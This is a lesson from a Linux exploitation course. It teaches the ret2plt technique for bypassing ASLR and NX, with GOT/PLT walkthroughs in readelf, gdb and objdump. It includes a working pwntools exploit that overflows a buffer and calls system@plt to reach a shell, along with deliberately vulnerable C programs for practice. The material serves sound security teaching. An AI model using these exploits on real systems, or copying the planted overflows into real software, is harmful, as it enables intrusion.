Before beginning this section, please ensure you have re-enabled ASLR. You can do this by running the following command.
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ echo 2 |
sudo tee /proc/sys/kernel/randomize_va_space
2
Finally, we have two protections enabled: ASLR and NX. To start off, this will be our first target for the section:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
void show_time() {
system("date");
system("cal");
}
void vuln() {
char buffer[64];
read(0, buffer, 92);
printf("Your name is %s\n", buffer);
}
int main() {
puts("Welcome to the Matrix.");
puts("The sheep are blue, but you see red");
vuln();
puts("Time is very important to us.");
show_time();
}
Running the binary:
amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock
Welcome to the Matrix.
The sheep are blue, but you see red
AAAA
Your name is AAAA
Time is very important to us.
Fri Jan 13 22:33:13 SGT 2017
January 2017
Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Now that ASLR has been enabled, we have a problem. We no longer can be sure where the libc will be mapped at. However, that begs the question: how does the binary know where the address of anything is now that they are randomised? The answer lies in something called the Global Offset Table and the Procedure Linkage Table.
To handle functions from dynamically loaded objects, the compiler assigns a space to store a list of pointers in the binary. Each slot of the pointers to be filled in is called a 'relocation' entry. This region of memory is marked readable to allow for the values for the entries to change during runtime.
We can take a look at the '.got' segment of the clock binary with readelf
.
ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock
Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a018 00000407 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
Let's take the read entry in the GOT as an example. If we hop onto gdb, and open the binary in the debugger without running it, we can examine what is in the GOT initially.
gdb-peda$ x/xw 0x0804a00c
0x804a00c: 0x08048346
It actually turns out that that value is an address within the Procedure Linkage Table. This actually is part of the mechanic to perform lazy binding. Lazy binding allows the binary to only resolve its dynamic addresses when it needs o.
If we run it and break just before the program ends, we can see that the value in the GOT is completely different and now points somewhere in libc.
gdb-peda$ x/xw 0x0804a00c
0x804a00c: 0x08048346
... snip ...
gdb-peda$ x/xw 0x0804a00c
0x804a00c: 0xf7eea980
gdb-peda$
When you use a libc function in your code, the compiler does not directly call
that function but calls a PLT stub instead. Let's take a look at the disassembly
of the read
function in PLT.
gdb-peda$ disas read
Dump of assembler code for function read@plt:
0x08048340 <+0>: jmp DWORD PTR ds:0x804a00c
0x08048346 <+6>: push 0x0
0x0804834b <+11>: jmp 0x8048330
End of assembler dump.
gdb-peda$
Here's what's going on here when the function is run for the first time:
- The
read@plt
function is called. - Execution reaches
jmp DWORD PTR ds:0x804a00c
and the memory address 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it is. It was the address of the GOT entry ofread
. - Since the GOT contained the value 0x08048346 initially, execution jumps to
the next instruction of the
read@plt
function because that's where it points to. - The dynamic loader is called which overwrites the GOT with the resolved address.
- Execution continues at the resolved address.
The details of this will be important for the next section but for now, the crucial characteristic of the PLT stub is that it is part of the binary and will be mapped at a static address. Thus, we can use the stub as a target when constructing our exploit.
As per usual, here is the skeleton code to obtain EIP control of the binary.
#!/usr/bin/python
from pwn import *
def main():
# Start the process
p = process("../build/1_clock")
# Print the pid
raw_input(str(p.proc.pid))
# Craft the payload
payload = "A"*76 + p32(0xdeadc0de)
payload = payload.ljust(96, "\x00")
# Send the payload
p.send(payload)
# Pass interaction to the user
p.interactive()
if __name__ == "__main__":
main()
Let's look at the available PLT stubs to choose from.
ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt
./1_clock: file format elf32-i386
Disassembly of section .plt:
08048330 <read@plt-0x10>:
8048330: ff 35 04 a0 04 08 pushl 0x804a004
8048336: ff 25 08 a0 04 08 jmp *0x804a008
804833c: 00 00 add %al,(%eax)
...
08048340 <read@plt>:
8048340: ff 25 0c a0 04 08 jmp *0x804a00c
8048346: 68 00 00 00 00 push $0x0
804834b: e9 e0 ff ff ff jmp 8048330 <_init+0x24>
08048350 <printf@plt>:
8048350: ff 25 10 a0 04 08 jmp *0x804a010
8048356: 68 08 00 00 00 push $0x8
804835b: e9 d0 ff ff ff jmp 8048330 <_init+0x24>
08048360 <puts@plt>:
8048360: ff 25 14 a0 04 08 jmp *0x804a014
8048366: 68 10 00 00 00 push $0x10
804836b: e9 c0 ff ff ff jmp 8048330 <_init+0x24>
08048370 <system@plt>:
8048370: ff 25 18 a0 04 08 jmp *0x804a018
8048376: 68 18 00 00 00 push $0x18
804837b: e9 b0 ff ff ff jmp 8048330 <_init+0x24>
08048380 <__libc_start_main@plt>:
8048380: ff 25 1c a0 04 08 jmp *0x804a01c
8048386: 68 20 00 00 00 push $0x20
804838b: e9 a0 ff ff ff jmp 8048330 <_init+0x24>
We are in luck, because system@plt
is a powerful function we can definitely
use. That's one out of two things we need. The second thing is a command we can
execute. Normally, we would use "/bin/sh" but it does not seem we would find
that here.
Take a moment to figure out a target before taking a look at the answers.
It turns out that ed
is a valid Linux command. It actually spawns a
minimalistic editor. It also turns out that there is an "ed" string available in
the binary. Can you spot it?
ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
printf
read
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
date
Your name is %s
Welcome to the Matrix.
The sheep are blue, but you see red
Time is very important to us.
If we take the last two characters of the string "The sheep are blue, but you see red" or "_IO_stdin_used", we can get that "ed" we are looking for.
gdb-peda$ find "The sheep are blue, but you see red"
Searching for 'The sheep are blue, but you see red' in: None ranges
Found 3 results, display max 3 items:
1_clock : 0x8048604 ("The sheep are blue, but you see red")
1_clock : 0x8049604 ("The sheep are blue, but you see red")
[heap] : 0x804b008 ("The sheep are blue, but you see red\n")
gdb-peda$
Putting our parts together, we can come up with this final exploit.
#!/usr/bin/python
from pwn import *
system_plt = 0x08048370
ed_str = 0x8048625
def main():
# Start the process
p = process("../build/1_clock")
# Craft the payload
payload = "A"*76
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(ed_str)
payload = payload.ljust(96, "\x00")
# Send the payload
p.send(payload)
# Pass interaction to the user
p.interactive()
if __name__ == "__main__":
main()
But, now you might ask, if all we are going to spawn is a line based text
editor, then how are we going to get our shell? As it so happens, the ed
program can actually run commands!
ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py
[+] Starting local process '../build/1_clock': Done
[*] Switching to interactive mode
Welcome to the Matrix.
The sheep are blue, but you see red
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0
$ ls -la
?
$ !/bin/sh
$ ls -la
total 2100
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 15:56 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 15:56 ..
-rw-rw-r-- 1 ubuntu ubuntu 405 Jan 12 21:54 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu 468 Jan 12 21:57 2_final.py
-rw-rw-r-- 1 ubuntu ubuntu 408 Jan 12 22:41 3_event0_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu 483 Jan 12 22:52 4_event0_local.py
-rw-rw-r-- 1 ubuntu ubuntu 518 Jan 12 22:52 5_event0_remote.py
-rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core
$
[*] Stopped program '../build/1_clock'
Please do these exercises without looking at the solution.
Let's start doing some difficult exercises. Here is event0. Try to solve this problem using the Ret2PLT technique.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int active = 1;
char name[200];
char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
void print_warning() {
puts("=======================================================================================");
puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy.");
puts("Please treat this terminal with the utmost care.");
puts("Crashing this program will result in ship malfunction.");
puts("You have been warned.");
puts("=======================================================================================\n");
}
void print_prompt() {
printf("Options for ");
puts(name);
puts("1. Peek Memory Address");
puts("2. Change Name");
puts("3. Overwite Memory Address");
puts("9. Exit Terminal");
}
void peek_prompt() {
int * address;
printf("Address: ");
scanf("%p", &address);
printf("Contents: 0x%x\n", *address);
}
void change_name() {
char buffer[100];
printf("Name: ");
read(0, buffer, sizeof(name));
buffer[strcspn(buffer, "\n")] = 0;
strncpy(name, buffer, sizeof(name));
}
void poke_prompt() {
int * address;
int data;
printf("Address: ");
scanf("%p", &address);
printf("Data: ");
scanf("%x", &data);
*address = data;
}
void print_secret() {
if (getpid() == 0) {
puts("secret");
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
int option;
print_warning();
change_name();
while (active) {
print_prompt();
printf("Option: ");
scanf("%d", &option);
if (option == 9) {
active = 0;
puts("Goodbye.");
}
else if (option == 1) {
peek_prompt();
}
else if (option == 2) {
change_name();
}
else if (option == 3) {
poke_prompt();
}
else if (option == 4) {
print_secret();
}
}
}
The binary can be found here. And the remote target is at nc localhost 1901
.
If you get stuck, you can look at the following solution scripts in order of completeness.